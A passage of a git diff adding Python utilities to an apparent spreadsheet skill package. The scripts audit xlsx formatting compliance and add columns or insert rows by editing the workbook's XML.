not None) + + +def _is_green_font(font: dict) -> bool: + return font["rgb"] == GREEN_RGB + + +def _fmt_is_percent(num_fmt_id: int, num_fmts: dict) -> bool: + if num_fmt_id in PERCENT_FMT_IDS: + return True + fmt_code = num_fmts.get(num_fmt_id, "") + return "%" in fmt_code + + +def _fmt_is_comma(num_fmt_id: int, num_fmts: dict) -> bool: + if num_fmt_id in COMMA_FMT_IDS: + return True + fmt_code = num_fmts.get(num_fmt_id, "") + # formatCode has comma separator if it contains #,##0 but not a trailing , (scale) + return "#,##" in fmt_code and not fmt_code.endswith(",") and not fmt_code.endswith(",\"M\"") and not fmt_code.endswith(",\"K\"") + + +def _looks_like_year(value_text: str) -> bool: + """True if value is a 4-digit year between 1900 and 2100.""" + try: + v = int(float(value_text)) + return 1900 <= v <= 2100 + except (ValueError, TypeError): + return False + + +def _audit(styles_xml: bytes, sheet_xmls: list[tuple[str, bytes]]) -> dict: + """ + Run all formatting compliance checks. + + Args: + styles_xml: content of xl/styles.xml + sheet_xmls: list of (sheet_name, xml_bytes) for each worksheet + + Returns: + dict with violations and summary + """ + results = { + "violations": [], + "warnings": [], + "summary": {}, + } + v = results["violations"] + w = results["warnings"] + + styles = _parse_styles(styles_xml) + fonts = styles["fonts"] + xfs = styles["xfs"] + num_fmts = styles["num_fmts"] + + # ── Check A: count attribute integrity ────────────────────────────────── + if styles["fonts_declared"] != styles["fonts_actual"]: + v.append({ + "type": "count_mismatch", + "element": "fonts", + "declared": styles["fonts_declared"], + "actual": styles["fonts_actual"], + "fix": f"Update ", + }) + if styles["fills_declared"] != styles["fills_actual"]: + v.append({ + "type": "count_mismatch", + "element": "fills", + "declared": styles["fills_declared"], + "actual": styles["fills_actual"], + "fix": f"Update ", + }) + if styles["xfs_declared"] != styles["xfs_actual"]: + v.append({ + "type": "count_mismatch", + "element": "cellXfs", + "declared": styles["xfs_declared"], + "actual": styles["xfs_actual"], + "fix": f"Update ", + }) + + # ── Check B: fills[0] and fills[1] presence ────────────────────────────── + fills = styles["fills"] + if len(fills) < 2: + v.append({ + "type": "missing_required_fills", + "detail": "fills[0] (none) and fills[1] (gray125) are required by OOXML spec", + "fix": "Prepend and ", + }) + else: + if fills[0].get("patternType") != "none": + v.append({ + "type": "fills_0_corrupted", + "detail": f"fills[0] patternType='{fills[0].get('patternType')}', must be 'none'", + "fix": "Set fills[0] patternFill patternType to 'none'", + }) + if fills[1].get("patternType") != "gray125": + v.append({ + "type": "fills_1_corrupted", + "detail": f"fills[1] patternType='{fills[1].get('patternType')}', must be 'gray125'", + "fix": "Set fills[1] patternFill patternType to 'gray125'", + }) + + # ── Check C: per-cell style violations ─────────────────────────────────── + total_cells = 0 + formula_cells = 0 + input_cells = 0 + + for sheet_name, sheet_xml in sheet_xmls: + ws = ET.fromstring(sheet_xml) + + for cell in ws.findall(f".//{NSP}c"): + cell_ref = cell.get("r", "?") + s_attr = cell.get("s") + has_formula = cell.find(f"{NSP}f") is not None + v_elem = cell.find(f"{NSP}v") + value_text = v_elem.text if v_elem is not None else None + total_cells += 1 + + # Skip cells with no style + if s_attr is None: + continue + + try: + s_idx = int(s_attr) + except ValueError: + continue + + # Check C1: s index out of range + if s_idx >= len(xfs): + v.append({ + "type": "style_index_out_of_range", + "sheet": sheet_name, + "cell": cell_ref, + "s": s_idx, + "cellXfs_count": len(xfs), + "fix": f"s={s_idx} exceeds cellXfs count={len(xfs)}; add missing entries or lower s value", + }) + continue + + xf = xfs[s_idx] + font_id = xf["fontId"] + num_fmt_id = xf["numFmtId"] + + if font_id >= len(fonts): + v.append({ + "type": "font_index_out_of_range", + "sheet": sheet_name, + "cell": cell_ref, + "fontId": font_id, + "fonts_count": len(fonts), + "fix": f"fontId={font_id} exceeds fonts count={len(fonts)}; add missing entries", + }) + continue + + font = fonts[font_id] + + # Check C2: color-role violation — formula cell with blue font + if has_formula and _is_blue_font(font): + formula_cells += 1 + f_elem = cell.find(f"{NSP}f") + formula_text = f_elem.text if f_elem is not None else "" + v.append({ + "type": "formula_cell_blue_font", + "sheet": sheet_name, + "cell": cell_ref, + "s": s_idx, + "formula": formula_text, + "fix": "Formula cells must use black font (formula) or green font (cross-sheet ref). " + "Use style index 2/6/8/10 (black) or 3/13 (green) instead.", + }) + + # Check C3: color-role violation — non-formula cell with explicit black + # (only flag if it looks like it should be an input — has a numeric value) + if (not has_formula and _is_black_font(font) + and value_text is not None + and not font.get("bold") + and num_fmt_id not in (0,) # skip general-format black (could be label) + ): + try: + float(value_text) + # It's a numeric value with black font — possible missing blue input marker + w.append({ + "type": "numeric_input_may_lack_blue", + "sheet": sheet_name, + "cell": cell_ref, + "s": s_idx, + "value": value_text, + "note": "Hardcoded numeric value has black font — if this is a user-editable " + "assumption, change to blue-font input style (e.g. s=1/5/7/9/11/12).", + }) + except (ValueError, TypeError): + pass + + # Check C4: year value with comma-formatted numFmt + if value_text and _looks_like_year(value_text) and _fmt_is_comma(num_fmt_id, num_fmts): + v.append({ + "type": "year_with_comma_format", + "sheet": sheet_name, + "cell": cell_ref, + "s": s_idx, + "value": value_text, + "numFmtId": num_fmt_id, + "fix": "Year values must use numFmtId=1 (format '0') to display as 2024 not 2,024. " + "Use style index 11 or a custom xf with numFmtId=1.", + }) + + # Check C5: percentage format with value > 1 (likely 8 instead of 0.08) + if value_text and _fmt_is_percent(num_fmt_id, num_fmts): + try: + pct_val = float(value_text) + if pct_val > 1.0: + w.append({ + "type": "percent_value_gt_1", + "sheet": sheet_name, + "cell": cell_ref, + "s": s_idx, + "value": value_text, + "displayed_as": f"{pct_val * 100:.0f}%", + "note": f"Value {value_text} with percentage format displays as {pct_val*100:.0f}%. " + "If intended rate is ~{:.0f}%, store as {:.4f} instead.".format( + pct_val, pct_val / 100 + ), + }) + except (ValueError, TypeError): + pass + + if has_formula: + formula_cells += 1 + elif value_text is not None: + input_cells += 1 + + results["summary"] = { + "total_cells_inspected": total_cells, + "formula_cells": formula_cells, + "input_cells": input_cells, + "violations": len(v), + "warnings": len(w), + } + + return results + + +def _load_from_xlsx(xlsx_path: str) -> tuple[bytes, list[tuple[str, bytes]]]: + """Load styles.xml and all sheet XMLs from a packed xlsx file.""" + with zipfile.ZipFile(xlsx_path, "r") as z: + styles_xml = z.read("xl/styles.xml") + + # Get sheet name mapping + wb_xml = z.read("xl/workbook.xml") + wb = ET.fromstring(wb_xml) + rel_ns = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" + rels_xml = z.read("xl/_rels/workbook.xml.rels") + rels = ET.fromstring(rels_xml) + + rid_to_name = {} + for sheet in wb.findall(f".//{{{NS}}}sheet"): + rid = sheet.get(f"{{{rel_ns}}}id", "") + name = sheet.get("name", "") + rid_to_name[rid] = name + + rid_to_path = {} + for rel in rels: + rid = rel.get("Id", "") + target = rel.get("Target", "") + if "worksheets" in target: + if not target.startswith("xl/"): + target = "xl/" + target + rid_to_path[rid] = target + + sheet_xmls = [] + for rid, name in rid_to_name.items(): + path = rid_to_path.get(rid) + if path and path in z.namelist(): + sheet_xmls.append((name, z.read(path))) + + return styles_xml, sheet_xmls + + +def _load_from_dir(unpacked_dir: str) -> tuple[bytes, list[tuple[str, bytes]]]: + """Load styles.xml and all sheet XMLs from an unpacked directory.""" + styles_path = os.path.join(unpacked_dir, "xl", "styles.xml") + with open(styles_path, "rb") as f: + styles_xml = f.read() + + # Get sheet names from workbook.xml + wb_path = os.path.join(unpacked_dir, "xl", "workbook.xml") + wb = ET.fromstring(open(wb_path, "rb").read()) + rels_path = os.path.join(unpacked_dir, "xl", "_rels", "workbook.xml.rels") + rels = ET.fromstring(open(rels_path, "rb").read()) + + rel_ns = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" + rid_to_name = {} + for sheet in wb.findall(f".//{{{NS}}}sheet"): + rid = sheet.get(f"{{{rel_ns}}}id", "") + name = sheet.get("name", "") + rid_to_name[rid] = name + + rid_to_path = {} + for rel in rels: + rid = rel.get("Id", "") + target = rel.get("Target", "") + if "worksheets" in target: + rid_to_path[rid] = target + + sheet_xmls = [] + ws_dir = os.path.join(unpacked_dir, "xl", "worksheets") + for rid, name in rid_to_name.items(): + rel_path = rid_to_path.get(rid, "") + # rel_path may be "worksheets/sheet1.xml" or absolute path + if rel_path.startswith("worksheets/"): + full = os.path.join(unpacked_dir, "xl", rel_path) + else: + full = os.path.join(unpacked_dir, "xl", "worksheets", os.path.basename(rel_path)) + if os.path.exists(full): + with open(full, "rb") as f: + sheet_xmls.append((name, f.read())) + + return styles_xml, sheet_xmls + + +def main() -> None: + use_json = "--json" in sys.argv + summary_only = "--summary" in sys.argv + + args_clean = [a for a in sys.argv[1:] if not a.startswith("--")] + if not args_clean: + print("Usage: style_audit.py [--json] [--summary]") + sys.exit(1) + + target = args_clean[0] + + try: + if os.path.isdir(target): + styles_xml, sheet_xmls = _load_from_dir(target) + elif target.endswith(".xlsx") or target.endswith(".xlsm"): + styles_xml, sheet_xmls = _load_from_xlsx(target) + else: + print(f"ERROR: unrecognized target '{target}' — must be .xlsx file or unpacked directory") + sys.exit(1) + except Exception as e: + print(f"ERROR loading file: {e}") + sys.exit(1) + + results = _audit(styles_xml, sheet_xmls) + + if use_json: + print(json.dumps(results, indent=2, ensure_ascii=False)) + sys.exit(1 if results["summary"]["violations"] > 0 else 0) + + # Human-readable output + s = results["summary"] + print(f"Target : {target}") + print(f"Cells : {s['total_cells_inspected']} inspected " + f"({s['formula_cells']} formula, {s['input_cells']} input)") + print(f"Violations : {s['violations']}") + print(f"Warnings : {s['warnings']}") + + if not summary_only: + if results["violations"]: + print("\n── Violations (must fix) ──") + for item in results["violations"]: + t = item["type"] + if t == "count_mismatch": + print(f" [FAIL] {item['element']} count mismatch: declared={item['declared']}, " + f"actual={item['actual']}") + print(f" Fix: {item['fix']}") + elif t == "missing_required_fills": + print(f" [FAIL] {item['detail']}") + print(f" Fix: {item['fix']}") + elif t in ("fills_0_corrupted", "fills_1_corrupted"): + print(f" [FAIL] {item['detail']}") + print(f" Fix: {item['fix']}") + elif t == "formula_cell_blue_font": + print(f" [FAIL] [{item['sheet']}!{item['cell']}] formula cell has blue font " + f"(role=input, but cell contains formula: {item.get('formula', '')})") + print(f" Fix: {item['fix']}") + elif t == "style_index_out_of_range": + print(f" [FAIL] [{item['sheet']}!{item['cell']}] s={item['s']} but " + f"cellXfs count={item['cellXfs_count']}") + print(f" Fix: {item['fix']}") + elif t == "font_index_out_of_range": + print(f" [FAIL] [{item['sheet']}!{item['cell']}] fontId={item['fontId']} but " + f"fonts count={item['fonts_count']}") + print(f" Fix: {item['fix']}") + elif t == "year_with_comma_format": + print(f" [FAIL] [{item['sheet']}!{item['cell']}] year value {item['value']} " + f"uses comma-format (numFmtId={item['numFmtId']}) — will display as " + f"{int(float(item['value'])):,}") + print(f" Fix: {item['fix']}") + else: + print(f" [FAIL] {item}") + + if results["warnings"] and not summary_only: + print("\n── Warnings (review recommended) ──") + for item in results["warnings"]: + t = item["type"] + if t == "numeric_input_may_lack_blue": + print(f" [WARN] [{item['sheet']}!{item['cell']}] numeric value={item['value']} " + f"has black font — if user-editable assumption, use blue-font input style") + elif t == "percent_value_gt_1": + print(f" [WARN] [{item['sheet']}!{item['cell']}] percent-format cell has " + f"value={item['value']} (displays as {item['displayed_as']}) — " + f"likely should be stored as decimal (e.g. 0.08 for 8%)") + else: + print(f" [WARN] {item}") + + print() + if s["violations"] == 0: + if s["warnings"] == 0: + print("PASS — Financial formatting is compliant") + else: + print(f"PASS with WARN — {s['warnings']} warning(s) need review") + else: + print(f"FAIL — {s['violations']} violation(s) must be fixed before delivery") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/xlsx_add_column.py b/skills/minimax-xlsx/scripts/xlsx_add_column.py new file mode 100644 index 0000000..3374e3b --- /dev/null +++ b/skills/minimax-xlsx/scripts/xlsx_add_column.py @@ -0,0 +1,395 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +xlsx_add_column.py — Add a new column to a worksheet in an unpacked xlsx. + +Usage examples: + # Add a percentage column with formulas and number format + python3 xlsx_add_column.py /tmp/work/ --col G \\ + --sheet "Budget FY2025" \\ + --header "% of Total" \\ + --formula '=F{row}/$F$10' --formula-rows 2:9 \\ + --total-row 10 --total-formula '=SUM(G2:G9)' \\ + --numfmt '0.0%' + +What it does: + 1. Adds header cell (copies style from previous column's header) + 2. Adds formula cells for the specified row range + 3. Adds a total formula cell if specified + 4. Creates a new cell style with the given numfmt if needed + 5. Updates sharedStrings.xml for header text + 6. Updates dimension ref and column definitions + +IMPORTANT: Run on an UNPACKED directory (from xlsx_unpack.py). +After running, repack with xlsx_pack.py. +""" + +import argparse +import copy +import os +import re +import sys +import xml.dom.minidom +import xml.etree.ElementTree as ET + +NS_SS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" +NS_REL = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" + +ET.register_namespace('', NS_SS) +ET.register_namespace('r', NS_REL) +ET.register_namespace('xdr', 'http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing') +ET.register_namespace('x14', 'http://schemas.microsoft.com/office/spreadsheetml/2009/9/main') +ET.register_namespace('xr2', 'http://schemas.microsoft.com/office/spreadsheetml/2015/revision2') +ET.register_namespace('mc', 'http://schemas.openxmlformats.org/markup-compatibility/2006') + + +def _tag(local: str) -> str: + return f"{{{NS_SS}}}{local}" + + +def _write_tree(tree: ET.ElementTree, path: str) -> None: + tree.write(path, encoding="unicode", xml_declaration=False) + with open(path, "r", encoding="utf-8") as fh: + raw = fh.read() + try: + dom = xml.dom.minidom.parseString(raw.encode("utf-8")) + pretty = dom.toprettyxml(indent=" ", encoding="utf-8").decode("utf-8") + lines = [line for line in pretty.splitlines() if line.strip()] + with open(path, "w", encoding="utf-8") as fh: + fh.write("\n".join(lines) + "\n") + except Exception: + pass + + +def col_number(s: str) -> int: + n = 0 + for c in s.upper(): + n = n * 26 + (ord(c) - 64) + return n + + +def col_letter(n: int) -> str: + r = "" + while n > 0: + n, rem = divmod(n - 1, 26) + r = chr(65 + rem) + r + return r + + +def find_ws_path(work_dir: str, sheet_name: str | None) -> str: + wb_tree = ET.parse(os.path.join(work_dir, "xl", "workbook.xml")) + rid = None + for sheet in wb_tree.getroot().iter(_tag("sheet")): + if sheet_name is None or sheet.get("name") == sheet_name: + rid = sheet.get(f"{{{NS_REL}}}id") + break + + if rid is None: + print(f"ERROR: Sheet not found: {sheet_name}") + sys.exit(1) + + rels_tree = ET.parse(os.path.join(work_dir, "xl", "_rels", "workbook.xml.rels")) + for rel in rels_tree.getroot(): + if rel.get("Id") == rid: + return os.path.join(work_dir, "xl", rel.get("Target")) + + print(f"ERROR: Relationship not found: {rid}") + sys.exit(1) + + +def add_shared_string(work_dir: str, text: str) -> int: + ss_path = os.path.join(work_dir, "xl", "sharedStrings.xml") + tree = ET.parse(ss_path) + root = tree.getroot() + + idx = 0 + for si in root.findall(_tag("si")): + t_el = si.find(_tag("t")) + if t_el is not None and t_el.text == text: + return idx + idx += 1 + + si = ET.SubElement(root, _tag("si")) + t = ET.SubElement(si, _tag("t")) + t.set("{http://www.w3.org/XML/1998/namespace}space", "preserve") + t.text = text + + root.set("count", str(int(root.get("count", "0")) + 1)) + root.set("uniqueCount", str(int(root.get("uniqueCount", "0")) + 1)) + + _write_tree(tree, ss_path) + return idx + + +def get_cell_style(ws_tree: ET.ElementTree, col: str, row: int) -> int: + ref = f"{col}{row}" + for row_el in ws_tree.getroot().iter(_tag("row")): + if row_el.get("r") == str(row): + for c in row_el: + if c.get("r") == ref: + return int(c.get("s", "0")) + return 0 + + +def ensure_numfmt_style(work_dir: str, ref_style_idx: int, numfmt_code: str) -> int: + """Clone a cellXfs entry with the given numfmt. Returns new style index.""" + styles_path = os.path.join(work_dir, "xl", "styles.xml") + tree = ET.parse(styles_path) + root = tree.getroot() + + # Find or add numFmt + numfmts = root.find(_tag("numFmts")) + numfmt_id = None + if numfmts is not None: + for nf in numfmts: + if nf.get("formatCode") == numfmt_code: + numfmt_id = int(nf.get("numFmtId")) + break + + if numfmt_id is None: + max_id = 163 + if numfmts is not None: + for nf in numfmts: + max_id = max(max_id, int(nf.get("numFmtId", "0"))) + else: + numfmts = ET.SubElement(root, _tag("numFmts")) + numfmts.set("count", "0") + root.remove(numfmts) + root.insert(0, numfmts) + + numfmt_id = max_id + 1 + nf = ET.SubElement(numfmts, _tag("numFmt")) + nf.set("numFmtId", str(numfmt_id)) + nf.set("formatCode", numfmt_code) + numfmts.set("count", str(len(list(numfmts)))) + + # Find or create cellXfs entry + cellxfs = root.find(_tag("cellXfs")) + xf_list = list(cellxfs) + ref_xf = xf_list[min(ref_style_idx, len(xf_list) - 1)] + + for i, xf in enumerate(xf_list): + if (xf.get("numFmtId") == str(numfmt_id) and + xf.get("fontId") == ref_xf.get("fontId") and + xf.get("fillId") == ref_xf.get("fillId") and + xf.get("borderId") == ref_xf.get("borderId")): + return i + + new_xf = copy.deepcopy(ref_xf) + new_xf.set("numFmtId", str(numfmt_id)) + new_xf.set("applyNumberFormat", "true") + cellxfs.append(new_xf) + cellxfs.set("count", str(len(list(cellxfs)))) + + _write_tree(tree, styles_path) + return len(list(cellxfs)) - 1 + + +def _apply_border_to_row(work_dir: str, ws_path: str, ws_tree: ET.ElementTree, + ws_root: ET.Element, row_map: dict, border_row: int, + border_style: str, new_col: str) -> None: + """Apply a top border to ALL cells in the specified row (A through new_col).""" + styles_path = os.path.join(work_dir, "xl", "styles.xml") + st_tree = ET.parse(styles_path) + st_root = st_tree.getroot() + + # 1. Create a new border entry with the specified top style + borders = st_root.find(_tag("borders")) + new_border = ET.SubElement(borders, _tag("border")) + for side in ("left", "right"): + ET.SubElement(new_border, _tag(side)) + top_el = ET.SubElement(new_border, _tag("top")) + top_el.set("style", border_style) + ET.SubElement(new_border, _tag("bottom")) + ET.SubElement(new_border, _tag("diagonal")) + borders.set("count", str(len(list(borders)))) + new_border_id = len(list(borders)) - 1 + + # 2. For each existing style used in the row, create a clone with the new borderId + cellxfs = st_root.find(_tag("cellXfs")) + style_remap = {} # old_style_idx -> new_style_idx + + if border_row not in row_map: + return + + row_el = row_map[border_row] + # Collect all cells in this row and their styles + for c in row_el: + old_s = int(c.get("s", "0")) + if old_s not in style_remap: + xf_list = list(cellxfs) + ref_xf = xf_list[min(old_s, len(xf_list) - 1)] + new_xf = copy.deepcopy(ref_xf) + new_xf.set("borderId", str(new_border_id)) + new_xf.set("applyBorder", "true") + cellxfs.append(new_xf) + cellxfs.set("count", str(len(list(cellxfs)))) + style_remap[old_s] = len(list(cellxfs)) - 1 + + # 3. Apply remapped styles to all cells in the row + for c in row_el: + old_s = int(c.get("s", "0")) + if old_s in style_remap: + c.set("s", str(style_remap[old_s])) + + _write_tree(st_tree, styles_path) + last_col_num = col_number(new_col) + print(f" Applied {border_style} top border to all cells in row {border_row} " + f"(A-{new_col}, {len(style_remap)} style(s) cloned)") + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Add a column to a worksheet in an unpacked xlsx") + parser.add_argument("work_dir", help="Unpacked xlsx working directory") + parser.add_argument("--col", required=True, help="Column letter (e.g., G)") + parser.add_argument("--sheet", default=None, help="Sheet name (default: first)") + parser.add_argument("--header", default=None, help="Header text for row 1") + parser.add_argument("--formula", default=None, + help="Formula template with {row} placeholder") + parser.add_argument("--formula-rows", default=None, + help="Row range for formulas (e.g., 2:9)") + parser.add_argument("--total-row", type=int, default=None, + help="Row number for total formula") + parser.add_argument("--total-formula", default=None, + help="Formula for total row") + parser.add_argument("--numfmt", default=None, + help="Number format for data/total cells (e.g., 0.0%%)") + parser.add_argument("--border-row", type=int, default=None, + help="Row to apply a top border to ALL cells (e.g., 10)") + parser.add_argument("--border-style", default="medium", + help="Border style: thin, medium, thick (default: medium)") + args = parser.parse_args() + + col = args.col.upper() + prev_col = col_letter(col_number(col) - 1) if col_number(col) > 1 else "A" + + ws_path = find_ws_path(args.work_dir, args.sheet) + ws_tree = ET.parse(ws_path) + changes = 0 + + print(f"Adding column {col} to {os.path.basename(ws_path)}") + + # Resolve styles from previous column + header_style = get_cell_style(ws_tree, prev_col, 1) if args.header else 0 + + data_style = None + if args.formula_rows: + start_row = int(args.formula_rows.split(":")[0]) + ref = get_cell_style(ws_tree, prev_col, start_row) + data_style = (ensure_numfmt_style(args.work_dir, ref, args.numfmt) + if args.numfmt else ref) + + total_style = None + if args.total_row: + ref = get_cell_style(ws_tree, prev_col, args.total_row) + total_style = (ensure_numfmt_style(args.work_dir, ref, args.numfmt) + if args.numfmt else ref) + + # Add header to sharedStrings + header_idx = add_shared_string(args.work_dir, args.header) if args.header else None + + # Re-parse worksheet (sharedStrings write may have changed state) + ws_tree = ET.parse(ws_path) + root = ws_tree.getroot() + sheet_data = root.find(_tag("sheetData")) + + row_map = {} + for row_el in sheet_data: + r = row_el.get("r") + if r: + row_map[int(r)] = row_el + + # Add header cell + if args.header and 1 in row_map: + cell = ET.SubElement(row_map[1], _tag("c")) + cell.set("r", f"{col}1") + cell.set("s", str(header_style)) + cell.set("t", "s") + v = ET.SubElement(cell, _tag("v")) + v.text = str(header_idx) + changes += 1 + print(f" {col}1 = \"{args.header}\" (header, style={header_style})") + + # Add formula cells + if args.formula and args.formula_rows: + start, end = map(int, args.formula_rows.split(":")) + for row_num in range(start, end + 1): + if row_num not in row_map: + row_el = ET.SubElement(sheet_data, _tag("row")) + row_el.set("r", str(row_num)) + row_map[row_num] = row_el + + formula_text = args.formula.replace("{row}", str(row_num)) + formula_text = formula_text.lstrip("=") + cell = ET.SubElement(row_map[row_num], _tag("c")) + cell.set("r", f"{col}{row_num}") + if data_style is not None: + cell.set("s", str(data_style)) + f_el = ET.SubElement(cell, _tag("f")) + f_el.text = formula_text + changes += 1 + + print(f" {col}{start}:{col}{end} = formulas (style={data_style})") + + # Add total formula + if args.total_row and args.total_formula: + if args.total_row not in row_map: + row_el = ET.SubElement(sheet_data, _tag("row")) + row_el.set("r", str(args.total_row)) + row_map[args.total_row] = row_el + + total_f = args.total_formula.lstrip("=") + cell = ET.SubElement(row_map[args.total_row], _tag("c")) + cell.set("r", f"{col}{args.total_row}") + if total_style is not None: + cell.set("s", str(total_style)) + f_el = ET.SubElement(cell, _tag("f")) + f_el.text = total_f + changes += 1 + print(f" {col}{args.total_row} = ={total_f} (style={total_style})") + + # Update dimension + for dim in root.iter(_tag("dimension")): + old_ref = dim.get("ref", "") + if ":" in old_ref: + start_ref, end_ref = old_ref.split(":") + end_col_str = re.match(r"([A-Z]+)", end_ref).group(1) + end_row_str = re.search(r"(\d+)", end_ref).group(1) + if col_number(col) > col_number(end_col_str): + new_ref = f"{start_ref}:{col}{end_row_str}" + dim.set("ref", new_ref) + print(f" Dimension: {old_ref} → {new_ref}") + + # Extend to cover new column + cols_el = root.find(_tag("cols")) + if cols_el is not None: + new_col_num = col_number(col) + covered = any( + int(c.get("min", "0")) <= new_col_num <= int(c.get("max", "0")) + for c in cols_el + ) + if not covered: + prev_num = col_number(prev_col) + for c in cols_el: + if int(c.get("min", "0")) <= prev_num <= int(c.get("max", "0")): + new_col_def = copy.deepcopy(c) + new_col_def.set("min", str(new_col_num)) + new_col_def.set("max", str(new_col_num)) + cols_el.append(new_col_def) + print(f" Added definition for column {col}") + break + + # Apply border to entire row if requested + if args.border_row: + _apply_border_to_row(args.work_dir, ws_path, ws_tree, root, + row_map, args.border_row, args.border_style, + col) + + _write_tree(ws_tree, ws_path) + print(f"\nDone. {changes} cells added.") + print(f"\nNext: python3 xlsx_pack.py {args.work_dir} output.xlsx") + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-xlsx/scripts/xlsx_insert_row.py b/skills/minimax-xlsx/scripts/xlsx_insert_row.py new file mode 100644 index 0000000..9dc5d6e --- /dev/null +++ b/skills/minimax-xlsx/scripts/xlsx_insert_row.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +xlsx_insert_row.py — Insert a new data row into a worksheet in an unpacked xlsx. + +Usage examples: + # Insert "Utilities" row at position 6, copying styles from row 5 + python3 xlsx_insert_row.py /tmp/work/ --at 6 \\ + --sheet "Budget FY2025" \\ + --text A=Utilities \\ + --values B=3000 C=3000 D=3500 E=3500 \\ + --formula 'F=SUM(B{row}:E{row})' \\ + --copy-style-from 5 + +What it does: + 1. Shifts all rows >= at down by 1 (calls xlsx_shift_rows.py) + 2. Adds text values to sharedStrings.xml + 3. Inserts new row with specified cells (text, numbers, formulas) + 4. Copies cell styles from a reference row + 5. Updates dimension ref + +The shift operation automatically expands SUM formulas that span the +insertion point, so total-row formulas are updated without extra work. + +IMPORTANT: Run on an UNPACKED directory (from xlsx_unpack.py). +After running, repack with xlsx_pack.py. +""" + +import argparse +import os +import re +import subprocess +import sys +import xml.dom.minidom +import xml.etree.ElementTree as ET + +NS_SS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main" +NS_REL = "http://schemas.openxmlformats.org/officeDocument/2006/relationships" + +ET.register_namespace('', NS_SS) +ET.register_namespace('r', NS_REL) +ET.register_namespace('xdr', 'http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing') +ET.register_namespace('x14', 'http://schemas.microsoft.com/office/spreadsheetml/2009/9/main') +ET.register_namespace('xr2', 'http://schemas.microsoft.com/office/spreadsheetml/2015/revision2') +ET.register_namespace('mc', 'http://schemas.openxmlformats.org/markup-compatibility/2006') + + +def _tag(local: str) -> str: + return f"{{{NS_SS}}}{local}" + + +def _write_tree(tree: ET.ElementTree, path: str) -> None: + tree.write(path, encoding="unicode", xml_declaration=False) + with open(path, "r", encoding="utf-8") as fh: + raw = fh.read() + try: + dom = xml.dom.minidom.parseString(raw.encode("utf-8")) + pretty = dom.toprettyxml(indent=" ", encoding="utf-8").decode("utf-8") + lines = [line for line in pretty.splitlines() if line.strip()] + with open(path, "w", encoding="utf-8") as fh: + fh.write("\n".join(lines) + "\n") + except Exception: + pass + + +def col_number(s: str) -> int: + n = 0 + for c in s.upper(): + n = n * 26 + (ord(c) - 64) + return n + + +def find_ws_path(work_dir: str, sheet_name: str | None) -> str: + wb_tree = ET.parse(os.path.join(work_dir, "xl", "workbook.xml")) + rid = None + for sheet in wb_tree.getroot().iter(_tag("sheet")): + if sheet_name is None or sheet.get("name") == sheet_name: + rid = sheet.get(f"{{{NS_REL}}}id") + break + + if rid is None: + print(f"ERROR: Sheet not found: {sheet_name}") + sys.exit(1) + + rels_tree = ET.parse(os.path.join(work_dir, "xl", "_rels", "workbook.xml.rels")) + for rel in rels_tree.getroot(): + if rel.get("Id") == rid: + return os.path.join(work_dir, "xl", rel.get("Target")) + + print(f"ERROR: Relationship not found: {rid}") + sys.exit(1) + + +def add_shared_string(work_dir: str, text: str) -> int: + ss_path = os.path.join(work_dir, "xl", "sharedStrings.xml") + tree = ET.parse(ss_path) + root = tree.getroot() + + idx = 0 + for si in root.findall(_tag("si")): + t_el = si.find(_tag("t")) + if t_el is not None and t_el.text == text: + return idx + idx += 1 + + si = ET.SubElement(root, _tag("si")) + t = ET.SubElement(si, _tag("t")) + t.set("{http://www.w3.org/XML/1998/namespace}space", "preserve") + t.text = text + + root.set("count", str(int(root.get("count", "0")) + 1)) + root.set("uniqueCount", str(int(root.get("uniqueCount", "0")) + 1)) + + _write_tree(tree, ss_path) + return idx + + +def get_row_styles(ws_tree: ET.ElementTree, row_num: int) -> dict[str, int]: + """Get {col_letter: style_index} for all cells in a row.""" + styles = {} + for row_el in ws_tree.getroot().iter(_tag("row")): + if row_el.get("r") == str(row_num): + for c in row_el: + ref = c.get("r", "") + col_str = re.match(r"([A-Z]+)", ref) + if col_str: + styles[col_str.group(1)] = int(c.get("s", "0")) + break + return styles + + +def parse_kv(specs: list[str] | None) -> dict[str, str]: + if not specs: + return {} + result = {} + for spec in specs: + col, _, val = spec.partition("=") + result[col.upper()] = val + return result + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Insert a new row into a worksheet in an unpacked xlsx") + parser.add_argument("work_dir", help="Unpacked xlsx working directory") + parser.add_argument("--at", type=int, required=True, + help="Row number to insert at (existing rows shift down)") + parser.add_argument("--sheet", default=None, help="Sheet name (default: first)") + parser.add_argument("--text", nargs="+", default=None, + help="Text cells: COL=VALUE (e.g., A=Utilities)") + parser.add_argument("--values", nargs="+", default=None, + help="Numeric cells: COL=VALUE (e.g., B=3000 C=3000)") + parser.add_argument("--formula", nargs="+", default=None, + help="Formula cells: COL=FORMULA with {row} (e.g., F=SUM(B{row}:E{row}))") + parser.add_argument("--copy-style-from", type=int, default=None, + help="Copy cell styles from this row number") + args = parser.parse_args() + + at = args.at + text_cells = parse_kv(args.text) + num_cells = parse_kv(args.values) + formula_cells = parse_kv(args.formula) + + # Step 1: Shift rows down using xlsx_shift_rows.py + script_dir = os.path.dirname(os.path.abspath(__file__)) + shift_script = os.path.join(script_dir, "xlsx_shift_rows.py") + + print(f"Step 1: Shifting rows >= {at} down by 1...") + result = subprocess.run( + [sys.executable, shift_script, args.work_dir, "insert", str(at), "1"], + capture_output=True, text=True, + ) + if result.returncode != 0: + print(f"ERROR: shift_rows failed:\n{result.stderr}") + sys.exit(1) + print(result.stdout) + + # Step 2: Resolve worksheet path and get reference styles + ws_path = find_ws_path(args.work_dir, args.sheet) + ws_tree = ET.parse(ws_path) + + ref_styles = {} + if args.copy_style_from is not None: + ref_styles = get_row_styles(ws_tree, args.copy_style_from) + print(f"Step 2: Copied styles from row {args.copy_style_from}: {ref_styles}") + + # Step 3: Add text values to sharedStrings + text_indices = {} + for col, text in text_cells.items(): + text_indices[col] = add_shared_string(args.work_dir, text) + print(f" Added shared string: 